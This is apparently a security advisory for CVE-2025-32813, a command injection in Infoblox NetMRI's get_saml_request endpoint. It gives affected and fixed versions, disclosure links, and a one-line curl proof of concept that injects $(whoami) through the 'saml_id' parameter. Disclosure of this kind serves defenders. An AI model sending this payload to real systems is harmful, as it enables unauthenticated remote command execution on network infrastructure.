Description: This exploits an unauthenticated command injection in the get_saml_request endpoint of Infoblox NetMRI.
Versions Affected: 7.5.4.104695
Version Fixed: 7.6.1
Researcher: Dave Yesland (https://x.com/daveysec)
Disclosure Link: https://rhinosecuritylabs.com/research/infoblox-multiple-cves/
NIST CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2025-32813
Vendor Advisory: https://support.infoblox.com/s/article/Infoblox-NetMRI-is-vulnerable-to-CVE-2025-32813
This exploit targets a command injection flaw via the 'saml_id' parameter in the get_saml_request endpoint.
curl -k 'https://<NETMRI_HOST>/webui/application/get_saml_request?saml_id=1%26http://$(whoami)'
